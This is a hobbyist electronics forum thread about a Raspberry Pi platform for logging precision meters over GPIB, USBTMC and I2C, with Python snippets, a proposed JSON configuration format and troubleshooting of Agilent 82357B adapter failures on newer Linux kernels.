Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #77 on: December 10, 2016, 09:39:39 am »
I wrote a sample for my HM8012 and tested it with
, and created a github pull request, so that it can be integrated in the main github repository (and later in the SD card image). With the github repository, we could implement an update function, even over the web interface, to get the latest examples and framework code, without the need to update the whole SD card image and without overwriting your own code.

Maybe would be a good idea to add TiN's guide to the repository as well in a doc directory, so that it is all in one place and under version control, and all scripts and docs needed to create a new image from a fresh Raspbian image.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #78 on: December 10, 2016, 11:32:46 am »
RPi2/3 with HP82357B and a 34401A.

1. I followed TiN's excellent article and have the RPi2 working well with the HP82357B and the HP34401A replies with the proper ID text for a *IDN? command. Both direct GPIB calls as well as pyVISA work well.
2. My guess is that since the newer Keysight 6.5 digit models are backwards compatible with the 34401A - it may be a moot point to support all of these models using one script.

NB - if testVISA.py (pyVISA) fails to reply (not finding the interface) try to add the '@py' resource:
replace:
rm = pyvisa.ResourceManager()
with
rm = pyvisa.ResourceManager('@py')
 
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #79 on: December 10, 2016, 07:54:31 pm »
I think a Python measurement framework would be nice. Maybe we can use some parts of the project at http://sigrok.org that @lwatts666 mentioned?

An idea: a generic base class "Instrument". All instruments in common is the capability to measure something. An instrument has a fixed number of inputs (and maybe outputs?). Concrete instrument classes for a HP34401A, or a HM8012, are derived from the abstract base class and implement all the instrument specific initialization and communication. It might be possible to configure an input, e.g. select volt or ohm, and select a range or auto-range. For each input you can get an input reader, which reads this input and knows about more about the input, like the unit, e.g. V or A, or the instrument channel.Then a logger class. You can add inputs to it and it automatically reads all inputs and writes them with a timestamp to a file, in a selected interval.

Sounds difficult if you are not an object oriented programmer, but it makes it really easy to write your own custom measurement script for an advanced end user. Goal should be that you can write a script for an instrument, without knowing the GPIB commands or other details of the instrument, except some instrument specific configuration for selecting AC or DC etc. A logger program could look like this (I don't know much about Python, so this might not compile) :

Code: [Select]
try {
  # create a new instrument object. Opens the default port for this instrument
  # and initializes it to be used with the framework, e.g. ASCII output format, 9 digits etc.
  voltageMeter = new HP34401A();

  # application specific configuration of an input of the instrument.
  # optional parameter: channel=x, if there are more than one input
  voltageMeter.configure(command=HP34401A.DCV, value=10);

  # creates a new instrument object for a LM75A temperature sensor
  # uses the default I2C address 0x48 for A0-A2=0, if not specified in the constructor
  # the I2C address could be a generic parameter "port", which could be the GPIB address, or an I2C address,
  # and a factory function in the instrument which lists all available ports, to create a GUI for port selection later
  i2cTempSensor = new LM75A();

  # create a new logger object and add all inputs. The getInputtReader-function could have an optional channel parameter
  log = new Logging("/pub/logs/test.csv");
  log.add(voltageMeter.getInputReader());
  log.addInstrument(i2cTempSensor.getInputtReader());

  # start logging
  # this creates the log file, writes the CSV header and saves the current time for the exact measurement interval
  log.start();
  while (true) {
    # measures all configured inputs and writes it to the CSV file, with a leading timestamp
    log.measureInputs();

    # waits for the specified number of seconds, relative to the last call of this function, so that there is an the exact same interval between every measurement
    log.waitSeconds(10);
  }
  log.createWebpage("/pub/html/test.html");
} catch (exception) {
  print(exception);
}

So all you need to write for a volt/temperature combination logger, with website output, are about 10 lines of easy to understand code, which can be mixed with custom tasks, like switching relays after some time etc. The generated CSV file header should name the instrument and unit, and optionally the channel, or I2C address etc.:

(timestamp)(HP34401A, V)(LM75A, C)
10/12/2016-07:53:279.15222.3
10/12/2016-07:53:379.26422.2

The InputReader class has a function "measure", which returns a float for the measured value, and it has a function getUnit. Now the log object can have a function to create a standard webpage to display all configured instruments and inputs, with some nice diagram header and axis labeling. There could be also a getLastMeasure function in the InputReader class, which you can use in the measure loop to get the last value, if you want to compare it to something to do something, in addition to the log output.

One step further: There is a webpage, which lists all available instruments. You can add multiple instruments with a mouse click and individually configure each instrument and the measurement interval. The set of instruments with the configuration can be saved as a project. You can start a measurement and then a log file is named with the project name and a sequential number suffix. You can click on a log file to display, download and delete it.

An instrument can list the possible set of configuration parameters so that you can edit this in the web page when configuring an instrument. There could be some templates for an instrument with a set of configuration parameters, e.g. "measure DC voltage", "measure AC ampere", so that you don't have to lookup the meaning of all parameters. The templates are provided by the concrete instrument class. Each parameter has a description, so that it is self documenting, without needing to read a manual for an instrument.

For the webserver it might be a good idea to use the Python webserver http.server, because then it is easier to access the Python instrument classes and configuration. The Python webserver could also provide a JSON server interface, so that you can call your Raspberry Pi from other systems and create a set of distributed network connected measurement devices.

Shouldn't be too difficult to implement. An experienced Python developer with webserver and object oriented programming experience might be able to do it in one week full time. Too bad I don't have much time at the moment , but I can help with testing, bugfixing and framework design ideas, if someone wants to do it.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 730
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #80 on: December 10, 2016, 09:14:38 pm »
@FrankBuss

Those are good suggestions and some of them are implemented in the python scripts used at xDevs . An example is here ... https://xdevs.com/doc/HP_Agilent_Keysight/3458A/test/dcv_ftp_b3.py
It comes in handy when you have two or more of the same meter. It can be difficult to initialize multiple meters without it becoming a long list of the same commands.

The 3458A and Keithley 2001/2 meters have been controlled this way for a while and once the code has been tested, only a couple lines of code are needed to create another instance. The same thing goes for the BME280. Adding more sensors will just require a similar bit of code .

I have not tried the http.server and I would like to see how easy it is to implement.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #81 on: December 10, 2016, 10:14:56 pm »
I have not tried the http.server and I would like to see how easy it is to implement.

I just tried the webserver, now I can read the value of my benchtop multimeter which has only RS232, in a webpage and even from the internet, if I would add a NAT rule to my router  :)

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py

How it looks like (the real version reloads automatically every second) :



Of course, this is just a quick hack. You would not create the web pages in the Python code, but state of the art is probably to use some WebSocket API, serve local static files and then some JavaScript communicates over the WebSocket with JSON requests with the Python script.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 
The following users thanked this post: plesa

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #82 on: December 10, 2016, 10:30:07 pm »
@z01z
Thanks, it is know description.Your tutorial and others does not work for some 82357B clones, or at least for one which I have.
I found some information on various forums, but without any solution.On Windows machine it works ok.
And you can create udev rule to avoid executing commands every time you connect adapter.

@Assafl
I did not see any reason for pyVisa.

@ManateeMafia,@FrankBuss
It will be too complex for beginner, but I like idea, unfortunately it is not in my programming skills.
Multiple loggng scripts (one 3458A logging voltage and secon script for BME280) and combining data on D3 seems to be way to go to make it universal for now.



 
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #83 on: December 10, 2016, 10:32:15 pm »
I have not tried the http.server and I would like to see how easy it is to implement.

I just tried the webserver, now I can read the value of my benchtop multimeter which has only RS232, in a webpage and even from the internet, if I would add a NAT rule to my router  :)

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py

How it looks like (the real version reloads automatically every second) :



Of course, this is just a quick hack. You would not create the web pages in the Python code, but state of the art is probably to use some WebSocket API, serve local static files and then some JavaScript communicates over the WebSocket with JSON requests with the Python script.

I like it, so on additional page can be actual values.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #84 on: December 10, 2016, 11:21:31 pm »
@ManateeMafia,@FrankBuss
It will be too complex for beginner, but I like idea, unfortunately it is not in my programming skills.
Multiple loggng scripts (one 3458A logging voltage and secon script for BME280) and combining data on D3 seems to be way to go to make it universal for now.
Using classes will make it easier for the beginner, otherwise the framework programmer did something wrong :) Looks like ManateeMafia has some OOP and Python knowledge, would be cool if he could implement some of my ideas. plesa, if you accept my pull request, if you agree with the slightly changed structure (the html directory in the pub directory now), the current source code will be in your github repository, and ManateeMafia can fork it and modify and add some more code. Or you could add me and ManateeMafia as members to your project (might need to convert your account to a organization, which I think is still free, if you don't have private repositories), makes changing things easier.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #85 on: December 11, 2016, 12:28:15 am »
Running multiple scripts and having multiple output files could have some problems, like out of sync and it is more complicated for the web page. Maybe as a start a universal Python script would be a good idea, which reads some simple JSON project file. Then all a user has to do, is to write a JSON project file, no need to program anything (and the JSON file creation could be supported by a neat web interface). An example for measuring volt and temperature:

Code: [Select]

   "LogFile":"/pub/log/test.csv",
   "MeasureInterval":"10",
   "Instruments":[ 
      { 
         "class":"HP34401A",
         "InitCommands":[ 
            { 
               "Command":"DCV",
               "Value":"10"
            },
            { 
               "Command":"LFILTER",
               "Value":"ON"
            }
         ],
         "Unit":"V"
      },
      { 
         "class":"LM75A",
         "Unit":"C"
      }
   ]
}

(I'm not sure if it makes sense to allow to specify multiple input channels, as proposed earlier, maybe better to just instantiate multiple instrument objects, even for the same physical instrument, and each instrument has just one channel.)

The Python script reads this file, creates all instrument classes and configures them, and writes the log file. The script could be even created now by merging all existing Python scripts in one big script, and evaluating the JSON input with it, but would be much better to create some clean classes. The same JSON file can be used from a general webpage, which creates the diagram with it. Special format specifiers, like colors etc., could be added to the JSON file.

This would be not as flexible as hand written Python, e.g. with custom actions when some limits are triggered, and custom HTML code, but I guess would work well for many measurement applications.
« Last Edit: December 11, 2016, 12:30:12 am by FrankBuss »
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #86 on: December 11, 2016, 07:06:44 pm »
@z01z
Thanks, it is know description.Your tutorial and others does not work for some 82357B clones, or at least for one which I have.
I found some information on various forums, but without any solution.On Windows machine it works ok.
And you can create udev rule to avoid executing commands every time you connect adapter.

@Plesa
Chang from Beiming told me that he had to do his own firmware for the adapters he made.
As they were not "Clones" they had other hw layout, and would not run with the agilent firmware.

Maybe that's the same with your clone , i know the "Gold clone" only works @Win.

@Assafl
I did not see any reason for pyVisa.

This is the first time i hear about pyVisa working on a non NI adapter.
Have i missed something ?

/Bingo

 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #87 on: December 11, 2016, 08:20:46 pm »
TiN's documentation ends with a pyvisa example.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #88 on: December 11, 2016, 08:25:21 pm »
Chang from Beiming told me that he had to do his own firmware for the adapters he made.
As they were not "Clones" they had other hw layout, and would not run with the agilent firmware.

Maybe that's the same with your clone , i know the "Gold clone" only works @Win.

@Assafl
I did not see any reason for pyVisa.

This is the first time i hear about pyVisa working on a non NI adapter.
Have i missed something ?

/Bingo

Clone is 1:1 HW copy of Agilent/Keysight one, it is not cubic version based on NI/NAT and Cypress chip which I also have but after few connection to PC it lost boot code for some reasons.
I suppose it is only question of linux-gpib settings and firmware. I used measat_releaseX1.8.hex.
TiN makes it work, maybe the clones are different. Till it is solved 82357B clones are out of game.Only genuine NI-GPIB HS, E5810 and Prologix will be supported. 
 

Offline Sbampato12

  • Regular Contributor
  • *
  • Posts: 221
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #89 on: December 12, 2016, 12:56:10 pm »
I'm in.
Lately I'm in a hurry with some projects, but whenever possible I could contribute. I have some gears, and a NI PCI GPIB card in my computer.

I will order a new Rasp, since mine is the first one.... ???

Some gears are LAN, some have serial and a lot have GPIB and I can test, and help code something.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #90 on: December 12, 2016, 01:32:51 pm »
I suppose it is only question of linux-gpib settings and firmware. I used measat_releaseX1.8.hex.
TiN makes it work, maybe the clones are different. Till it is solved 82357B clones are out of game.Only genuine NI-GPIB HS, E5810 and Prologix will be supported.

Seems like a strange decision , unless you meant 82357B clones , and still supports the original 82357B.
My Agilent clone & Beimings are running excellent w. linux-gpib.

How do you experience the problem ?

/Bingo
« Last Edit: December 12, 2016, 01:44:26 pm by bingo600 »
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #91 on: December 12, 2016, 08:42:16 pm »
I suppose it is only question of linux-gpib settings and firmware. I used measat_releaseX1.8.hex.
TiN makes it work, maybe the clones are different. Till it is solved 82357B clones are out of game.Only genuine NI-GPIB HS, E5810 and Prologix will be supported.

Seems like a strange decision , unless you meant 82357B clones , and still supports the original 82357B.
My Agilent clone & Beimings are running excellent w. linux-gpib.

How do you experience the problem ?

/Bingo

I don't know if that is what plesa is referring to - I am getting for ibtest with Genuine Agilent 82357B (and similar errors for Python):

gpib status is:
ibsta = 0xc100  < ERR TIMO CMPL >
iberr= 14
EBUS 14: Bus error
ibcnt = 0

I was able to see something happen with pyVisa - but can't even recreate that. 
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #92 on: December 13, 2016, 12:54:31 pm »
I also have a supposedly original 82357B, which only works in Windows. In linux the same error (EBUS 14: Bus error) happens for me as for Assafl.

Finally managed to dump what is sent from Windows, it is a bit different from what is in the gpib_firmware file.
In the measat_releaseX1.8.hex this is present (from line 75):
:100F200001010380320904000003000000000705EE
:100F3000820200020007050602000200070588037E
:100F400008000100090227000101048032090400A1

And this is sent from Windows (in the same format, with manually calculated checksum):
:100F200001010380FA090400000300000000070526
:100F3000820200020007050602000200070588037E
:100F4000080001000902270001010480FA090400D9

This is the only difference I could see, the same two bytes are different, the rest is the same.

I'm going to change the firmware accordingly and try it, but probably won't be able to do it not before the end of week. I'll report back with the results.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #93 on: December 14, 2016, 08:18:37 am »
Thanks z01z.
Which file in Windows is firmware?
I just started clean Gentoo installation on RPi3 to check if issue persist.
On older kernel/linux-gpib this error has been solved by changing kernel parameter (timing), but it was for PCI and ISA boards.
Document with error messages
http://digital.ni.com/public.nsf/allkb/2FA525A8585A92E9862566EE002A3755
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #94 on: December 14, 2016, 09:15:51 am »
Sadly changing these bytes had no effect, the error still happened.

As for the driver, look for agt357run.inf. There's a separate driver for boot (agt82357.sys) and for run (agt357run.sys).
So you think this is a timing issue? I took some USB captures for both, I'll have a look at them. Downloading the firmware seems to work though, so I suppose it's how commands sent afterwards.
« Last Edit: December 14, 2016, 11:21:45 am by z01z »
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 600
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #95 on: December 14, 2016, 03:05:32 pm »
Concur changing the 2 words did not change the behavior for me as well.
 

Offline pelule

  • Frequent Contributor
  • **
  • Posts: 513
  • Country: de
  • What is business? It’s other people’s money
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #96 on: December 15, 2016, 06:13:51 pm »
Quote
GPIB interface:
Agilent 82357B ( official)  - we needs volunteer for testing
Agilent 82357B ( clone)  - I have dead clone only :(
I have the 1st version of Raspberry Pi - as never used this would a nice usage to log on my 3458A.
I also own an Agilent 82357B (not sure how to detect if official or a clone).
My very special feature request: allow to switch of the 3458A display.
BR
PeLuLe
You will learn something new every single day
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #97 on: December 15, 2016, 06:28:13 pm »
I've tested the image on an old Raspberry Pi 1, model B, and works without problem on this hardware.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #98 on: December 15, 2016, 06:34:02 pm »
I've tested the image on an old Raspberry Pi 1, model B, and works without problem on this hardware.

Thanks Frank!

Quote
GPIB interface:
Agilent 82357B ( official)  - we needs volunteer for testing
Agilent 82357B ( clone)  - I have dead clone only :(
I have the 1st version of Raspberry Pi - as never used this would a nice usage to log on my 3458A.
I also own an Agilent 82357B (not sure how to detect if official or a clone).
My very special feature request: allow to switch of the 3458A display.
BR
PeLuLe


Yes, it is done. I needs to solve 82357B support to release new version of image.
 

Offline pelule

  • Frequent Contributor
  • **
  • Posts: 513
  • Country: de
  • What is business? It’s other people’s money
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #99 on: December 15, 2016, 07:35:54 pm »
Is my undersatnding correct:
Raspberry is same time also logging at the environment (temperature. humidity, pressure) using the BME280 sensore (I2C)?
If yes - would great, as I have two of BME280 waiting for activity.

BR
PeLuLe
You will learn something new every single day
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #100 on: December 15, 2016, 07:45:50 pm »
Is my undersatnding correct:
Raspberry is same time also logging at the environment (temperature. humidity, pressure) using the BME280 sensore (I2C)?
If yes - would great, as I have two of BME280 waiting for activity.

BR
PeLuLe

Yes, if you install image it is ready to log data from two BME sensors and it plot graphs on webpage, same like logging from supported instruments.
But currently is 82357B adapter not working
 

Offline pelule

  • Frequent Contributor
  • **
  • Posts: 513
  • Country: de
  • What is business? It’s other people’s money
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #101 on: December 15, 2016, 10:17:40 pm »
Quote
But currently is 82357B adapter not working
Understood, but worth to wait for.
You will learn something new every single day
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #102 on: December 16, 2016, 01:40:44 pm »
Downloading the Image now.  I have a Rigol DM3068 meter.  I'll add a script for it.
 
The following users thanked this post: TiN, 2N3055

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #103 on: December 16, 2016, 07:12:39 pm »
But currently is 82357B adapter not working

@plesa et all.

I can confirm that currently the 82357B adapter is not working, on newer raspi kernels.

I have just build linux-gpib (svn) on both a raspi v1 , and a raspi v3 , both fails reading from the adapter.

Both are using latest kernel

Raspi V3 - Linux raspi4 4.4.38-v7+ #938 SMP Thu Dec 15 15:22:21 GMT 2016 armv7l GNU/Linux

Raspi V1 - Linux raspi3 4.4.38+ #938 Thu Dec 15 15:17:54 GMT 2016 armv6l GNU/Linux


I build the same  linux-gpib (svn) , on my Corei5 lappy , where it's working
Linux  3.19.0-32-generic #37~14.04.1-Ubuntu SMP Thu Oct 22 09:41:40 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux


Code: [Select]
$ cat idn1.py
#!/usr/bin/python
# -*- coding: utf-8 -*-

import Gpib
inst = Gpib.Gpib(0,16) # address 6
inst.write("*IDN?")
INST=inst.read(100) # read 100 bytes
print(INST)




 ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02

Something is wrong on the newer kernels (devicetree or ??).

I have used the 82357B (china prob. clone) adapter on my raspi v1 w. debian wheezy , without problems.
Furthermore it works 100% if i build the same linux-gpib on my Corei5 w. Mint 17.3  - (same kernel as Ubuntu 14.04).


/Bingo
« Last Edit: December 16, 2016, 07:43:36 pm by bingo600 »
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #104 on: December 16, 2016, 08:20:10 pm »
@plesa please add the USBTMC standard Linux driver when you create the next image. On my Debian Wheezy on PC I can now access my SPD3303D over USB, worked out of the box without needing to install a driver, with some quirks how to access it, as someone figured out here (but only the first Device class implementation works with my device), and add it to the documentation. Now I can control a good laboratory power supply from Python scripts, this is going to be fun  :)
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #105 on: December 16, 2016, 08:29:42 pm »
@plesa please add the USBTMC standard Linux driver when you create the next image. On my Debian Wheezy on PC I can now access my SPD3303D over USB, worked out of the box without needing to install a driver, with some quirks how to access it, as someone figured out here (but only the first Device class implementation works with my device), and add it to the documentation. Now I can control a good laboratory power supply from Python scripts, this is going to be fun  :)

Hi Frank,

USBTMC is already there including example how to control 34411A.
Currently we needs to solve kernel problem with 82357B. Also genuine 82357B is not working with kernels 4.4.34-38.

I hope that with Raspberry, Python, D3 we can have lot of fun and gain from sharing scripts :)
I already receive request for various things like controlling PSU  and reading temperature for testing resistors tempco.
 

Offline cdev

  • Super Contributor
  • ***
  • !
  • Posts: 7350
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #106 on: December 16, 2016, 08:50:27 pm »
Did you guys know there is some kind of kernel latency patch for the Raspberry Pi if you need it to send data as it comes in, because it's Ethernet interface is implemented via USB?


So for some kinds of uses, where USB timing is critical, you need this patch, and for others, its not the best choice. Sharing the USB bus allowed them to trim several dollars off the price. A substantial amount of money relative to other parts. So, for certain kinds of uses, other SBCs are better.
"What the large print giveth, the small print taketh away."
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #107 on: December 16, 2016, 08:59:15 pm »
The Python USBTMC implementation doesn't work with my device. I checked it with the 34410A_Log.py example, changing the instrument creation line to

inst =  usbtmc.Instrument("USB::0x0483::0x7540::INSTR")

which is the vendor and product ID I can see with lsusb. And it shows after a while "usb.core.USBError: [Errno 110] Operation timed out". If I change the vendor or product ID in the instrument creation, or unplug the device, it says "usbtmc.usbtmc.UsbtmcException: Device not found [init]", so I guess it finds the device and can open it. But it might be the same problem when using the Linux kernel driver: without the sleep it doesn't work, at least not with the SPD3303D power supply.

I don't know if it makes sense to dig deeper into the cause of the problem, this could result in days of reading kernel source code and using USB logging. I would assume it is some sloppy implementation in the power supply USB connection. I don't know anyway if it is a good idea to implement the USBTMC driver in user mode with usb.core, but maybe it has more features than the kernel module. The simple solution would be to add the USBTMC kernel driver as well, if it doesn't conflict with the Python implementation, but I guess not, because it uses the low level USB PyUSB interface. The author of the 34410A script with a 34410A instrument could test this. If you integrate it as a kernel module and if it doesn't work, the module could be unloaded as default, and I can load it for my scripts.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #108 on: December 16, 2016, 09:04:30 pm »
Additional benefit of using the USBTMC kernel driver: you can use it from other programs as well, not just from Python. On my PC I can do this:

echo "*IDN?" > /dev/usbtmc0
cat /dev/usbtmc0

and it answers with

Siglent Technologies,SPD3303,SPD00002130137,1.01.01.01.05,V1.1

(but still with the timeout problem: after printing this line it hangs for about 5 seconds and then it says "cat: /dev/usbtmc0: Connection timed out")
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #109 on: December 16, 2016, 10:05:39 pm »
I think this is a very good idea.  To have a bunch of python scripts in one spot on a raspberry PI.   I hope everyone contributes scripts for their devices that are not implemented yet.  Is PyVisa included in the image?   I'm just working on the Rigol DM3068 stuff.

Dwaine
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #110 on: December 16, 2016, 11:14:06 pm »
@FrankBuss

SPD3303 is very slow at handling commands.

You need to put a sleep after the command or it get messed.

I use something like this:

siglent.write("INST CH2")
time.sleep(1)
siglent.write("CH2:VOLT 0")
time.sleep(1)
siglent.write("CH2:CURR 1.3")
time.sleep(1)
siglent.write("OUTP CH2, ON")
time.sleep(1)


you can also lower sleep to 0.1 seconds if you need more speedy setup.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #111 on: December 17, 2016, 07:33:32 am »
Did you guys know there is some kind of kernel latency patch for the Raspberry Pi if you need it to send data as it comes in, because it's Ethernet interface is implemented via USB?


So for some kinds of uses, where USB timing is critical, you need this patch, and for others, its not the best choice. Sharing the USB bus allowed them to trim several dollars off the price. A substantial amount of money relative to other parts. So, for certain kinds of uses, other SBCs are better.

The Odroid C2 kicks a.. on ethernet (900Mb both ways)
Too bad they are loooong behind in kernel support.
C2 is one of the fastest (if not the fastest) sbc , but lacks in vendor support.

/Bingo
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #112 on: December 17, 2016, 07:35:00 am »
I'm currently building a Raspi w. Noobs 1.4.1 (Wheezy) , and will let you know if the Agilent usb gpib works there.

https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2015-05-12/

/Bingo
« Last Edit: December 17, 2016, 10:24:49 am by bingo600 »
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #113 on: December 17, 2016, 09:00:36 am »
@Bingo
I remember you reporting in the other topic that Jessie was working for you. Might it be that you only tried it with a v1 board?
For me Jessie never worked (v3 board). I'll also give Wheezy a try.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #114 on: December 17, 2016, 10:02:05 am »
@Bingo
I remember you reporting in the other topic that Jessie was working for you. Might it be that you only tried it with a v1 board?
For me Jessie never worked (v3 board). I'll also give Wheezy a try.

I'm not sure i ever said Jessie worked , just that it build ok. And that i didn't test on real HW.

I never tried the adapter on my v3

/Bingo
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #115 on: December 17, 2016, 10:06:34 am »
Oldest Jessie with kernel 4.4.11 is also not working. Other adapters with uploading firmware like NI GPIB-USB-B are working properly.
Currently I trying older linux-gpib versions.
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #116 on: December 17, 2016, 10:24:31 am »
I'm not sure i ever said Jessie worked , just that it build ok. And that i didn't test on real HW.

I never tried the adapter on my v3
Ah, OK. It was wishful thinking on my part  :).
Seems like Wheezy doesn't support v3 boards.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #117 on: December 17, 2016, 10:28:13 am »
Could it be that Wheezy just soesn't support WiFi & BT on the V3 boards ??

Else maybe give Ubuntu Mate a try , that would be my next step , for distro that supports v1..v3 boards
https://www.raspberrypi.org/downloads/

And i'd expect that kernel headeres are available , instead of that incredible stupid KLUDGE you have to do on Raspbian  :--

/Bi
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #118 on: December 17, 2016, 10:30:18 am »
Could it be that Wheezy just soesn't support WiFi & BT on the V3 boards ??

Else maybe give Ubuntu Mate a try , that would be my next step , for distro that supports v1..v3 boards
https://www.raspberrypi.org/downloads/

And i'd expect that kernel headeres are available , instead of that incredible stupid KLUDGE you have to do on Raspbian  :--

/Bi

The same problem is on RPi2 with 4.4.34 and linux-gpib-4.0.3
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #119 on: December 17, 2016, 10:55:05 am »
root@raspi2:/home/bingo# ./idn1.py
Traceback (most recent call last):
  File "./idn1.py", line 4, in <module>
    import Gpib
  File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 2, in <module>
    import gpib
ImportError: libgpib.so.0: cannot open shared object file: No such file or directory

****  I missed the ldconfig

root@raspi2:/home/bingo# ldconfig
root@raspi2:/home/bingo#
root@raspi2:/home/bingo# ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02 

root@raspi2:/home/bingo#

